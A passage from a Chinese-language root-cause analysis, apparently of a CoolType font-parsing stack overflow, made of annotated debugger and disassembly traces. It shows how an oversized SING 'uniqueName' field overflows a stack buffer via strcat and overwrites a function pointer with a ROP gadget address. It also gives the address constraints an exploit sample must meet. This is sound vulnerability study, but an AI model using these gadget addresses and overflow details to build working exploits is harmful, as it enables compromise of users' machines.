.text:0808B117 mov ebp, esp ; ebp=esp=0x0012DD48
.text:0808B119 push ecx ; arg_5: [0x0012DD44]=ecx=0x01F347B8(StreamHandler类对象地址)
.text:0808B11A push ebx ; arg_4: [0x0012DD40]=ebx=0x00000000
.text:0808B11B push esi ; arg_3: [0x0012DD3C]=esi=0x0012E608 对象(0x0012E608)的指针
.text:0808B11C push edi ; arg_2: [0x0012DD38]=edi=0x0012E718 对象(0x0012E718)的指针
.text:0808B11D mov edi, [ebp+arg_0] ; edi=[ebp+0x8]=[0x0012DD50]=0x0012E718 <------ edi = a2
.text:0808B120 push edi ; arg_1: [0x0012DD34]=edi=0x0012E718 对象(0x0012E718)的指针
.text:0808B121 mov esi, ecx ; esi=ecx=0x01F347B8(StreamHandler类对象地址)
.text:0808B123 call sub_808B02A ;
.text:0808B128 xor ebx, ebx
.text:0808B12A test al, al
.text:0808B12C jz loc_808B2CB
..........
.text:0808B2CB mov eax, [esi]
.text:0808B2CD mov byte ptr [ebp+arg_14+3], bl
.text:0808B2D0 call dword ptr [eax+70h]
.text:0808B2D3 push edi
.text:0808B2D4 lea ecx, [esi+14h]
.text:0808B2D7 call sub_801E540
.text:0808B2DC mov byte ptr [esi+0E0h], 1
.text:0808B2E3 mov eax, [edi+3Ch] <-------eax=[edi+3Ch]=[0x0012E718+0x3C]=[0x0012E754]=0x0012E6D0(对象0x0012E6B0中的一个函数指针)
.text:0808B2E6 cmp eax, ebx
.text:0808B2E8 mov [esi+2F4h], eax
.text:0808B2EE mov [esi+2F8h], ebx
.text:0808B2F4 mov [ebp+var_4], ebx
.text:0808B2F7 jnz short loc_808B300
.text:0808B2F9
.text:0808B2F9 loc_808B2F9:
.text:0808B2F9 xor al, al
.text:0808B2FB jmp loc_808B594
.text:0808B300 ; ---------------------------------------------------------------------------
.text:0808B300
.text:0808B300 loc_808B300:
.text:0808B300 lea ecx, [ebp+var_4]
.text:0808B303 push ecx ; [0x0012DD34]=ecx=0x0012DD44
.text:0808B304 push ebx ; [0x0012DD30]=ebx=0x0
.text:0808B305 push 3 ; [0x0012DD2C]=0x3
.text:0808B307 push eax ; [0x0012DD28]=eax=0x0012E6D0
.text:0808B308 call dword ptr [eax] ; eax=0x0012E6D0,[0x0012E6D0]=0x4A80CB38 <------- ROPgadget1
(*v20)(v20, 3, 0, &v31);
触发流程图:
这里不知道为什么不能用ollydbg的调用堆栈窗口
查看栈回溯,在调用sub_808B116()
函数时,栈回溯窗口
清空了,执行完sub_808B116()
函数中的0x0808B308
处的调用指令call dword ptr [eax]
,跳转到0x4A80CB38
处时,调用堆栈信息
又显示出来了,而且此ROPgadget的调用者
也发生了改变。下面显示0x4A80CB38
处的ROPgadget
的调用是来自CoolType.0801BB41
,而这个地址在sub_801BB21()
函数的地址范围中,并且是调用sub_808B116()
函数的指令的地址。实际情况确是sub_808B116()
函数调用的0x4A80CB38
处的ROPgadget
。是因为sub_808B116()函数是虚函数吗?没搞清楚。
1 | --> 4A80CB38 81C5 94070000 add ebp,0x794 |
2.4、触发原因
通过前面的分析我们可以知道,地址0x0808B308
处的调用指令
是通过以eax的值
为地址,得到存储在地址处的值
,作为所调用函数的地址
,进行函数调用的。eax=0x0012E6D0
,所以函数的地址值
存储在栈
上,而且刚好落在我们构造的“uniqueName”字段
在栈上的缓冲区内,所以我们可以覆盖
这个函数的地址值
,达到劫持程序控制流
的目的。而我们往上回溯,eax的值
是以edi+0x3C
为地址的变量的值。edi
的值为0x0012E718
,正是前面通过sub_80DD0B3()
函数调用sub_080151B5()
函数清零的栈空间的首地址
,也是sub_80DD0B3()
函数的ebp
。在执行sub_80DD0B3()
函数之前,edi+0x3C=0x0012E754
处的值为0xFFFFFFFF
,而在调用0x080DD2F3
处的sub_803DCF9()
函数时,已经被赋值为了0x0012E6D0
。说明赋值的语句在调用sub_803DCF9()
函数之前。这里分析的目的
主要是看是否覆盖了特殊结构的指针
,而达到了程序控制流的劫持
。比如,是否覆盖了SEH异常处理结构
,又或者是覆盖了虚表指针
和虚表中的虚函数地址
。首先在IDA中看一下,是哪里赋的值:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39int __cdecl sub_80DD0B3(int a1, int a2, int a3, int a4, _DWORD *a5, int a6)
{
......
int v10; // [esp+B8h] [ebp-68h],[0x0012E718-0x68]=[0x0012E6B0]
char v11; // [esp+D8h] [ebp-48h],[0x0012E718-0x48]=[0x0012E6D0]存储函数地址的变量(函数指针)
......
char v31; // [esp+134h] [ebp+14h],[0x0012E718+0x14]=[0x0012E72C]
unsigned int v32; // [esp+15Ch] [ebp+3Ch],[0x0012E718+0x3C]=[0x0012E754]
......
//&v10为对象首地址,此函数应为对象(0x0012E6B0)的有参构造函数
sub_8083452(&v10, a2);//执行完后,[ebp-0x48]=[0x0012E6D0]=0x080833EF,这是一个函数的地址
v25 = 1;
sub_8084D13(
(void (__cdecl **)(_DWORD, _DWORD, _DWORD, _DWORD))(v10 != 0 ? (unsigned int)&v11 : 0),
&v20,
&v18,
(unsigned int)&v17,
0,
0,
1);
......
sub_801605B(&v31, &v10); //&v31为对象首地址
v32 = v10 != 0 ? (unsigned int)&v11 : 0; //[0x0012E754]=0x0012E6D0,v32[0x0012E754]为对象(0x0012E718)中的一个成员变量
......
}
/*
对象(0x0012E6B0)的内存布局(初始):
0x0012E6B0 *v2 = *a2 -| {sub_8014E64}
0x0012E6B4 v2[1] = a2[1] -|
0x0012E6B8 v2[2] = 0; ------------------------|
0x0012E6BC *a2 = v9 -| |
0x0012E6C0 a2[1] = a3 | |
0x0012E6C4 a2[2] = v8 | {sub_8080FB5} | {sub_8083452}
0x0012E6C8 a2[3] = v7 -| |
0x0012E6CC v2[7] = v2[5] ---------------------|
0x0012E6D0 v2[8] = sub_80833EF ---------------| (函数指针)
0x0012E6D4 v2[9] = v2 ------------------------|
*/
由这可知,v32变量
在栈上的位置为ebp+0x3C
,即v32为栈上0x0012E718+0x3C=0x0012E754
处的变量。最下面的那一行代码是它的赋值语句
。由于我对SEH结构
是怎么被放在栈
上,并形成SEH链表
的细节不太熟悉,所以,顺便分析了一下函数向栈上构建SEH结构
的过程。下面是一些详细的调试信息:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211***********************************************************************************
int __cdecl sub_80DD0B3(int a1, int a2, int a3, int a4, _DWORD *a5, int a6)
***********************************************************************************
.text:080DD0B3 push ebp ; [0x0012E7E8]=ebp=0x0012E838,父函数ebp
.text:080DD0B4 sub esp, 0CCh ; esp=0x0012E71C
.text:080DD0BA lea ebp, [esp-4] ; ebp=0x0012E718,本函数ebp
.text:080DD0BE mov eax, ___security_cookie ; eax=0x78FC1194
.text:080DD0C3 xor eax, ebp ; eax=eax^ebp=0x78EEF68C
.text:080DD0C5 mov [ebp+0D0h+var_4], eax ; [ebp+0xcc] = [0x0012E7E4] = 0x78EEF68C,父函数ebp之上
.text:080DD0CB push 104h ; [esp-0x4]=[0x0012E718]=0x104,(__EH_prolog3中分配的栈空间大小)
.text:080DD0D0 mov eax, offset loc_8182A36 ; eax=0x8182A36(__security_check_cookie函数地址)
.text:080DD0D5 call __EH_prolog3 ; [0x0012E714]=ret=0x080DD0DA
| | |
↓ ↓ ↓
.text:0804819E __EH_prolog3 proc near(向栈上写入SEH结构)
0804819E push eax ; [0x0012E710]=eax=0x08182A36(__security_check_cookie函数地址)SE处理程序
0804819F push dword ptr fs:[0] ; [0x0012E70C]=0x0012E82C,指向下一个SEH记录的指针
080481A6 lea eax,dword ptr ss:[esp+0xC] ; eax=esp+0xc=0x0012E70C+0xC=0x0012E718
080481AA sub esp,dword ptr ss:[esp+0xC] ; esp=esp-[0x0012E718]=0x0012E70C-0x104=0x0012E608,分配栈空间
栈: 0012E608 7C812FD3 返回到 kernel32.7C812FD3 来自 ntdll.RtlRaiseException
080481AE push ebx ; [0x0012E604]=ebx=0x0
080481AF push esi ; [0x0012E600]=esi=0x0823AE9C(.data段)
080481B0 push edi ; [0x0012E5FC]=edi=0x0012E858
080481B1 mov dword ptr ds:[eax],ebp ; [eax]=[0x0012E718]=ebp=0x0012E718,覆盖传进来的参数0x104
080481B3 mov ebp,eax ;
080481B5 mov eax,dword ptr ds:[0x8230FB8] ; eax=ds:[0x8230FB8]=0x78FC1194(___security_cookie)
080481BA xor eax,ebp ; eax=eax^ebp=0x78FC1194^0x0012E718=0x78EEF68C,再计算一次security cookie
080481BC push eax ; [0x0012E5F8]=eax=0x78EEF68C,异或之后的sec cookie
080481BD push dword ptr ss:[ebp-0x4] ; [0x0012E5F4]=[0x0012E718-0x4]=[0x0012E714]=0x080DD0DA,返回地址
080481C0 mov dword ptr ss:[ebp-0x4],-0x1 ; [0x0012E714]=0xFFFFFFFF,本来的返回地址被修改
080481C7 lea eax,dword ptr ss:[ebp-0xC] ; eax=ebp-0xc=0x0012E718-0xc=0x0012E70C(本SEH结构地址)
080481CA mov dword ptr fs:[0],eax ; fs:[0] = 0x0012E70C,保存当前SEH结构指针
080481D0 retn ; ret
| | |
↓ ↓ ↓
......
.text:080DD113 loc_80DD113: ; CODE XREF: sub_80DD0B3+5B↑j
.text:080DD113 push eax ; eax=a2=0x0012E818,[0x0012E818]=0x0494F3E8
.text:080DD114 lea ecx, [ebp+0D0h+var_138] ; eac=ebp-0x68=0x0012E718-0x68=0x0012E6B0,对象(0x0012E6B0)首地址
.text:080DD117 mov [ebp+0D0h+var_F0], 40000000h ; [ebp-0x20]=[0x0012E718-0x20]=[0x0012E6F8]=0x40000000
.text:080DD11E call sub_8083452
| | |
↓ ↓ ↓
********************************************************************
_DWORD *__thiscall sub_8083452(_DWORD *this, int a2)
********************************************************************
08083452 6A 0C push 0xC
08083454 B8 0A581708 mov eax,CoolType.0817580A
08083459 E8 404DFCFF call CoolType.0804819E
0808345E 8BF1 mov esi,ecx <-----; esi=ecx=0x0012E6B0,对象(0x0012E6B0)首地址
08083460 8975 F0 mov dword ptr ss:[ebp-0x10],esi
.......
08083489 8B46 14 mov eax,dword ptr ds:[esi+0x14] ; eax=[esi+0x14]=[0x0012E6C4]=0x049513E0,字体对象
0808348C 8946 1C mov dword ptr ds:[esi+0x1C],eax ; [esi+0x1C]=[0x0012E6CC]=eax=0x049513E0
0808348F C746 20 EF330808 mov dword ptr ds:[esi+0x20],CoolType.080833EF <-----; [esi+0x20]=[0x0012E6B0+0x20]=[0x0012E6D0]=0x080833EF
08083496 8976 24 mov dword ptr ds:[esi+0x24],esi
08083499 8BC6 mov eax,esi
0808349B E8 D64DFCFF call CoolType
| | |
↓ ↓ ↓
***********************************************************************************
int __cdecl sub_80DD0B3(int a1, int a2, int a3, int a4, _DWORD *a5, int a6)
***********************************************************************************
080DD168 call CoolType.080151B5 ; 清零0x0012E718后面的一些数据,0x0012E718应该为某个对象的首地址,此函数像是类的构造函数
.......
080DD1A3 call CoolType.0801605B
080DD1A8 mov esi,dword ptr ss:[ebp-0x68] ; esi=[ebp-0x68]=[0x0012E6B0]=0x02137E88
080DD1AB neg esi ; 求补: esi=0xFDEC8178(按位取反再+1),求补操作和求一个数的补码概念是不一样的
080DD1AD sbb esi,esi ; 带借位减法:esi=FFFFFFFF
080DD1AF lea eax,dword ptr ss:[ebp-0x48] ; eax=ebp-0x68=0x0012E718-0x48=0x0012E6D0 ,函数指针地址
080DD1B2 and esi,eax ; esi=esi and eax=0x0012E6D0
080DD1B4 cmp dword ptr ss:[ebp-0x28],0x1 ; [ebp-0x28]=[0x0012E718-0x28]=[0x0012E6F0]=0x1
080DD1B8 mov dword ptr ss:[ebp+0x3C],esi ; [ebp+0x3C]=[0x0012E754]=esi=0x0012E6D0 <-------这里得到赋值,在这之前[0x0012E6D0]已在sub_8083452()[对象(0x0012E6B0)的构造函数]中得到赋值,[0x0012E6D0]=0x080833EF,0x0012E6D0处的成员变量为函数指针
080DD1BB jnz CoolType.080DD2D1 ; 不跳转
080DD1C1 lea eax,dword ptr ss:[ebp-0x10]
080DD1C4 push eax
080DD1C5 push ebx
080DD1C6 push 0x2
080DD1C8 push esi
080DD1C9 mov dword ptr ss:[ebp-0x10],ebx
080DD1CC call dword ptr ds:[esi] ; CoolType.080833EF
080DD1CE lea eax,dword ptr ss:[ebp-0x10]
080DD1D1 push eax
080DD1D2 lea eax,dword ptr ss:[ebp-0x3C]
080DD1D5 push eax
080DD1D6 push ebx
080DD1D7 push esi
080DD1D8 mov dword ptr ss:[ebp-0x10],edi
080DD1DB call dword ptr ds:[esi] ; CoolType.080833EF
080DD1DD add esp,0x20
080DD1E0 cmp dword ptr ss:[ebp-0x10],edi
080DD1E3 je short CoolType.080DD1F0
080DD1E5 push CoolType.081BA878
080DD1EA call CoolType.0809D83E
080DD1EF pop ecx
080DD1F0 push dword ptr ss:[ebp-0x10]
080DD1F3 lea eax,dword ptr ss:[ebp-0x3C]
080DD1F6 push CoolType.0819D5F8 ; ASCII "ttcf"
080DD1FB push eax
080DD1FC call <jmp.&MSVCR80.memcmp>
080DD201 add esp,0xC
080DD204 test eax,eax
080DD206 jnz CoolType.080DD2D1 ; 跳转
| | |
↓ ↓ ↓
.text:080DD2D1 loc_80DD2D1:
.text:080DD2D1
.text:080DD2D1 lea ecx, [ebp+0D0h+var_1E0]
.text:080DD2D7 call sub_80172FB
.text:080DD2DC mov [ebp+0D0h+var_E8], ebx ; [ebp-0x18]=[0x0012E700]=0x0
.text:080DD2DF lea eax, [ebp+0D0h+var_E8] ; eax=ebp-0x18=0x0012E700
.text:080DD2E2 push eax ; arg_4: [0x0012E5F4]=eax=0x0012E700
.text:080DD2E3 push ebx ; arg_3: [0x0012E5F0]=ebx=0x0
.text:080DD2E4 lea eax, [ebp+0D0h+var_1E0] ; eax=ebp-0x110=0x0012E718-0x110=0x0012E608
.text:080DD2EA push eax ; arg_2: [0x0012E5EC]=eax=0x0012E608,对象(0x0012E608)的指针
.text:080DD2EB lea eax, [ebp+0D0h+value1_823A850] ; eax=ebp=0x0012E718
.text:080DD2EE push eax ; arg_1: [0x0012E5E8]=0x0012E718,对象(0x0012E718)的指针
.text:080DD2EF mov byte ptr [ebp+0D0h+var_D4], 4 ; [ebp-0x4]=[0x0012E714]=4
.text:080DD2F3 call sub_803DCF9 <-------
| | |
↓ ↓ ↓
******************************************************************************
char __cdecl sub_803DCF9(int a1, _DWORD *a2, int a3, int a4)
******************************************************************************
.text:0803DCF9 push ebp ; ebp=0x0012E718
.text:0803DCFA sub esp, 104h ; esp=0x0012E4DC,分配局部变量栈空间
.text:0803DD00 lea ebp, [esp-4] ; ebp=0x0012E4D8
.text:0803DD04 mov eax, ___security_cookie ; eax=0x98C49E84
.text:0803DD09 xor eax, ebp ; eax=eax^ebp=0x98D67A5C
.text:0803DD0B mov [ebp+108h+var_4], eax ; [ebp+0x104] = [0x0012E5DC] = 0x98D67A5C
.text:0803DD11 push 4Ch ; [0x0012E4D8]=0x4C(分配栈空间大小)
.text:0803DD13 mov eax, offset loc_8184A54 ; eax=0x8184A54(__security_check_cookie)
.text:0803DD18 call __EH_prolog3_catch ; [0x0012E4D4]=0x0803DD1D,ret
| | |
↓ ↓ ↓
.text:080481D1 __EH_prolog3_catch proc near(向栈上写入SEH结构)
080481D1 push eax ; [0x0012E4D0]=0x8184A54(__security_check_cookie)
080481D2 push dword ptr fs:[0] ; [0x0012E4CC]=0x0012E70C,指向下一个SEH记录的指针
080481D9 lea eax,dword ptr ss:[esp+0xC] ; eax=esp+0xc=0x0012E4CC+0xc=0x0012E4D8
080481DD sub esp,dword ptr ss:[esp+0xC] ; esp=esp-[0x0012E4D8]=0x0012E4CC-0x4C=0x0012E480,再次分配局部变量栈空间
080481E1 push ebx ; [0x0012E47C]=ebx=0x0
080481E2 push esi ; [0x0012E478]=esi=0x0012E6D0
080481E3 push edi ; [0x0012E474]=edi=0x4
080481E4 mov dword ptr ds:[eax],ebp ; [eax]=[0x0012E4D8]=ebp=0x0012E4D8,覆盖传进来的参数0x4C
080481E6 mov ebp,eax ;
080481E8 mov eax,dword ptr ds:[0x8230FB8] ; eax=ds:[0x8230FB8]=0x78FC1194(___security_cookie)
080481ED xor eax,ebp ; eax=eax^ebp=0x78FC1194^0x0012E4D8=0x78EEF54C
080481EF push eax ; [0x0012E470]=0x78EEF54C
080481F0 mov dword ptr ss:[ebp-0x10],esp ; [ebp-0x10]=[0x0012E4D8-0x10]=[0x0012E4C8]=esp=0x0012E470
080481F3 push dword ptr ss:[ebp-0x4] ; [0x0012E46C]=[ebp-0x4]=[0x0012E4D4]=0x0803DD1D,返回地址
080481F6 mov dword ptr ss:[ebp-0x4],-0x1 ; [0x0012E4D4]=0xFFFFFFFF,本来的返回地址被修改
080481FD lea eax,dword ptr ss:[ebp-0xC] ; eax=ebp-0xc=0x0012E4D8-0xc=0x0012E4CC(本SEH结构地址)
08048200 mov dword ptr fs:[0],eax ; fs:[0] = 0x0012E4CC,保存当前SEH结构指针
08048206 retn ; ret
| | |
↓ ↓ ↓
.text:0803DD1D mov eax, [ebp+108h+arg_C] ; a4: eax=[ebp+0x11c]=[0x0012E5F4]=0x0012E700
.text:0803DD23 mov edi, [ebp+108h+arg_0] ; a1: edi=[ebp+0x110]=[0x0012E5E8]=0x0012E718,对象(0x0012E718)的指针
.text:0803DD29 mov ebx, [ebp+108h+arg_4] ; a2: ebx=[ebp+0x114]=[0x0012E5EC]=0x0012E608,对象(0x0012E608)的指针
.text:0803DD2F mov [ebp+108h+var_130], edi ; [ebp-0x28]=[0x0012E4B0]=edi=0x0012E718
.text:0803DD32 mov [ebp+108h+var_138], eax ; [ebp-0x30]=[0x0012E4A8]=eax=0x0012E700
.text:0803DD35 call sub_804172C
.text:0803DD3A xor esi, esi ; esi=0x0
.text:0803DD3C cmp dword ptr [edi+8], 3 ; [edi+8]=[0x0012E720]=0x1
.text:0803DD40 mov [ebp+108h+var_10C], esi ; [ebp-0x4]=[0x0012E4D8-0x4]=[0x0012E4D4]=0
.text:0803DD43 jz loc_803DF00 ; 不跳转
.text:0803DD49 mov [ebp+108h+var_124], esi ; [ebp-0x1c]=[0x0012E4D8-0x1c]=[0x0012E4BC]=0
.text:0803DD4C mov [ebp+108h+var_120], esi ; [ebp-0x18]=[0x0012E4D8-0x18]=[0x0012E4C0]=0
.text:0803DD4F cmp dword ptr [edi+0Ch], 1 ; [edi+0xc]=[0x0012E718+0xc]=[0x0012E724]=0x1
.text:0803DD53 mov byte ptr [ebp+108h+var_10C], 1 ; [ebp-0x4]=[0x0012E4D4]=0x0->0x1
.text:0803DD57 jnz loc_803DEA9 ; 不跳转
.text:0803DD5D push offset aName ; "name"
.text:0803DD62 push edi ; int
.text:0803DD63 lea ecx, [ebp+108h+var_124]
.text:0803DD66 mov [ebp+108h+var_119], 0
.text:0803DD6A call sub_80217D7
.text:0803DD6F cmp [ebp+108h+var_124], esi
.text:0803DD72 jnz short loc_803DDDD
.text:0803DD74 push offset aSing ; "SING"
.text:0803DD79 push edi ; 类对象指针(0x0012E718),第一个变量为dword_823A850加1之前的值。
.text:0803DD7A lea ecx, [ebp+108h+var_12C] ; ecx为字体对象,thiscall,ecx传参
.text:0803DD7D call sub_8021B06 ; 解析字体对象,处理SING表
.text:0803DD82 mov eax, [ebp+108h+var_12C] ; eax指向SING表数据
.text:0803DD85 cmp eax, esi ; 判断是否为空
.text:0803DD85 ;} // starts at 803DD53
.text:0803DD87 ;try {
.text:0803DD87 mov byte ptr [ebp+108h+var_10C], 2
.text:0803DD8B jz short loc_803DDC4 ; 这里不跳转
.text:0803DD8D mov ecx, [eax] ; 字体资源版本号0.1,构造样本时小端写入,这里读出就变成了ecx=0x00010000,使其可以顺利执行到strcat
.text:0803DD8F and ecx, 0FFFFh
.text:0803DD95 jz short loc_803DD9F ; 这里跳转,jz和je机器码是一样的,IDA识别为jz,OllyDbg识别为je,这里jz感觉好理解一点
.text:0803DD97 cmp ecx, 100h
.text:0803DD9D jnz short loc_803DDC0
.text:0803DD9F
.text:0803DD9F loc_803DD9F: ; CODE XREF: sub_803DCF9+9C↑j
.text:0803DD9F add eax, 10h ; 相对SING表入口偏移0x10处找到uniqueName
.text:0803DDA2 push eax ; char *,strcat源地址入栈,也就是uniqueName起始地址
.text:0803DDA3 lea eax, [ebp+108h+uniqueName_buf] ; 这里将ebp的值作为目的地址,也就是前面所分配的缓冲区的起始地址
.text:0803DDA6 push eax ; char *,strcat目的地址入栈
.text:0803DDA7 mov [ebp+108h+uniqueName_buf], 0 ; 将目标字符串赋值为NULL,空字符串
.text:0803DDAB call strcat ; 调用strcat函数,造成溢出
通过上面的分析,我们可以知道,样本
构造的SING表
的“uniqueName”字段
将栈上对象(0x0012E6B0)
的一个函数指针
类型的成员变量(0x0012E6D0)
覆盖为了ROPgadget(0x4A80CB38)
的地址。而触发点为StreamHandler类
的虚函数sub_808B116()
中地址0x0808B308
处的调用指令call dword ptr [eax]
,这条调用指令将对象(0x0012E6B0)
中的函数指针(0x0012E6D0)的值
作为调用地址,从而获得程序执行流的劫持。这个函数指针的地址
又存储在对象(0x0012E718)
中的一个指针类型
的成员变量(0x0012E754)
中。虚函数sub_808B116()
通过传入的参数对象(0x0012E718)
的指针,找到对象(0x0012E6B0)
中的函数指针(0x0012E6D0)
,进行函数调用,从而获得程序执行流的劫持。
所以,metasploit
中的漏洞利用脚本,并不是通过覆盖虚函数的指针
或虚表指针
,以及SEH结构
来控制程序执行流的。
2.5、样本中SING表数据“0x4A8A08C6”的作用
0x4A8A08C6
是一个地址值
,0x4A8A08C6+0x1C=0x4A8A08E2
应具有可读可写
权限。因为,在通过strcat()
将SING表数据
复制到栈
上之后,以及获得程序执行流
的劫持之前,会对此地址
进行读写
,所以构造的样本中此处的地址+0x1C
必须具有可读可写
权限,否则会触发异常
,通过SEH链
进入异常处理,就无法获得程序执行流的劫持。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121******************************************************
sub_814B423()
******************************************************
.text:0814B470 mov byte ptr [ebp+var_4], 2
.text:0814B474 push [ebp+arg_10]
.text:0814B477 push [ebp+arg_8]
.text:0814B47A push eax
.text:0814B47B lea eax, [ebp+arg_0]
.text:0814B47E push eax
.text:0814B47F call sub_80DD0B3 <-------
.text:0814B484 add esp, 18h
.text:0814B487 push [ebp+var_20]
| | |
↓ ↓ ↓
*************************************************************************************
int __cdecl sub_80DD0B3(int a1, int a2, int a3, int a4, _DWORD *a5, int a6)
*************************************************************************************
.text:080DD0B3 push ebp ; [0x0012E7E8]=ebp=0x0012E838,父函数ebp
.text:080DD0B4 sub esp, 0CCh ; esp=0x0012E71C
.text:080DD0BA lea ebp, [esp-4] ; ebp=0x0012E718,本函数ebp
.text:080DD0BE mov eax, ___security_cookie ; eax=0x78FC1194
.text:080DD0C3 xor eax, ebp ; eax=eax^ebp=0x78EEF68C
.text:080DD0C5 mov [ebp+0D0h+var_4], eax ; [ebp+0xcc] = [0x0012E7E4] = 0x78EEF68C,父函数ebp之上
.text:080DD0CB push 104h ; [esp-0x4]=[0x0012E718]=0x104,(__EH_prolog3中分配的栈空间大小)
.text:080DD0D0 mov eax, offset loc_8182A36 ; eax=0x8182A36(__security_check_cookie函数地址)
.text:080DD0D5 call __EH_prolog3 ; [0x0012E714]=ret=0x080DD0DA
........
.text:080DD2D1 loc_80DD2D1:
.text:080DD2D1
.text:080DD2D1 lea ecx, [ebp+0D0h+var_1E0]
.text:080DD2D7 call sub_80172FB
.text:080DD2DC mov [ebp+0D0h+var_E8], ebx ; [ebp-0x18]=[0x0012E700]=0x0
.text:080DD2DF lea eax, [ebp+0D0h+var_E8] ; eax=ebp-0x18=0x0012E700
.text:080DD2E2 push eax ; arg_4: [0x0012E5F4]=eax=0x0012E700
.text:080DD2E3 push ebx ; arg_3: [0x0012E5F0]=ebx=0x0
.text:080DD2E4 lea eax, [ebp+0D0h+var_1E0] ; eax=ebp-0x110=0x0012E718-0x110=0x0012E608
.text:080DD2EA push eax ; arg_2: [0x0012E5EC]=eax=0x0012E608,对象(0x0012E608)的指针 <--------
.text:080DD2EB lea eax, [ebp+0D0h+value1_823A850] ; eax=ebp=0x0012E718
.text:080DD2EE push eax ; arg_1: [0x0012E5E8]=0x0012E718,对象(0x0012E718)的指针
.text:080DD2EF mov byte ptr [ebp+0D0h+var_D4], 4 ; [ebp-0x4]=[0x0012E714]=4
.text:080DD2F3 call sub_803DCF9 <-------
| | |
↓ ↓ ↓
*******************************************************************************
char __cdecl sub_803DCF9(int a1, _DWORD *a2, int a3, int a4)
*******************************************************************************
.text:0803DCF9 push ebp ; ebp=0x0012E718
.text:0803DCFA sub esp, 104h ; esp=0x0012E4DC,分配局部变量栈空间
.text:0803DD00 lea ebp, [esp-4] ; ebp=0x0012E4D8
.text:0803DD04 mov eax, ___security_cookie ; eax=0x98C49E84
.text:0803DD09 xor eax, ebp ; eax=eax^ebp=0x98D67A5C
.text:0803DD0B mov [ebp+108h+var_4], eax ; [ebp+0x104] = [0x0012E5DC] = 0x98D67A5C
.text:0803DD11 push 4Ch ; [0x0012E4D8]=0x4C(分配栈空间大小)
.text:0803DD13 mov eax, offset loc_8184A54 ; eax=0x8184A54(__security_check_cookie)
.text:0803DD18 call __EH_prolog3_catch ; [0x0012E4D4]=0x0803DD1D,ret
......
.text:0803DD29 mov ebx, [ebp+108h+arg_4] ; ebx = 0x0012E608,对象(0x0012E608)的指针 <--------
......
.text:0803DD9F loc_803DD9F:
.text:0803DD9F add eax, 10h ; 相对SING表入口偏移0x10处找到uniqueName
.text:0803DDA2 push eax ; char *,strcat源地址入栈,也就是uniqueName起始地址
.text:0803DDA3 lea eax, [ebp+108h+uniqueName_buf] ; 这里将ebp的值作为目的地址,也就是前面所分配的缓冲区的起始地址
.text:0803DDA6 push eax ; char *,strcat目的地址入栈
.text:0803DDA7 mov [ebp+108h+uniqueName_buf], 0 ; 将目标字符串赋值为NULL,空字符串
.text:0803DDAB call strcat ; 调用strcat函数,造成溢出
.text:0803DDB0 pop ecx
.text:0803DDB1 pop ecx
.text:0803DDB2 lea eax, [ebp+108h+uniqueName_buf] ; eax=ebp=0x0012E4D8
.text:0803DDB5 push eax ; arg1: [0x0012E46C]=0x0012E4D8
.text:0803DDB6 mov ecx, ebx ; this: ecx=ebx=0x0012E608,对象(0x0012E608)的指针 <--------
.text:0803DDB8 call sub_8001243
| | |
↓ ↓ ↓
*******************************************************************
int *__thiscall sub_8001243(int *this, int uniqueName_buf)
*******************************************************************
.text:08001243 push esi ; esi=0x0
.text:08001244 push edi ; edi=0x0012E718,对象(0x0012E718)的指针
.text:08001245 push [esp+8+uniqueName_buf] ; [esp+0xc]=0x0012E4D8
.text:08001249 mov esi, ecx ; esi = ecx = 0x0012E608,对象(0x0012E608)的指针 <--------
.text:0800124B call dword_8231220 ; BIB.07005C59
.text:08001251 mov edi, eax ; edi=eax=0x0012E4D8
.text:08001253 mov eax, [esi] ; eax = [esi]=[0x0012E608]=0x4A8A08C6,icucnv36 <--------
.text:08001255 test eax, eax ;
.text:08001257 pop ecx ; ecx=0x0012E4D8
.text:08001258 jz short loc_8001262 ; 不跳转
.text:0800125A push eax ; arg1: [0x0012E45C]=eax = 0x4A8A08C6, <----------
.text:0800125B call dword_8231224 ; BIB.07005CAF
| | |
↓ ↓ ↓
07005CAF mov ecx,dword ptr ss:[esp+0x4] ; ecx=[esp+4]=0x4A8A08C6 <- arg1
07005CB3 jmp BIB.070013F2
| | |
↓ ↓ ↓
**********************************************
BIB.070013F2()
**********************************************
070013F2 push ebp ; ebp=0x0012E4D8
070013F3 mov ebp,esp ; ebp=esp=0x0012E454
070013F5 push ecx ; ecx=0x4A8A08C6,icucnv36
070013F6 push ecx ; ecx=0x4A8A08C6,icucnv36
070013F7 lea eax,dword ptr ds:[ecx+0x1C] ; eax=0x4A8A08C6+0x1C=0x4A8A08E2 <--------
070013FA mov dword ptr ss:[ebp-0x8],eax ;
070013FD mov eax,dword ptr ss:[ebp-0x8] ;
07001400 lock dec dword ptr ds:[eax] ; [eax] = [0x4A8A08E2] = 0x00000000,减1变为0xFFFFFFFF <--------
07001403 sete byte ptr ss:[ebp-0x1] ; 取标志寄存器中ZF的值, 赋值给[ebp-0x1] ebp=0012E454;[0012E450]=0x4A8A08C6->0x008A08C6
07001407 cmp byte ptr ss:[ebp-0x1],0x0 ; ZF=1
0700140B je short BIB ; 跳转实现
0700140D call BIB.070013B5 ; 不执行
07001412 leave
07001413 retn
通过上面的调试信息,BIB.070013F2()
函数中的地址0x07001400
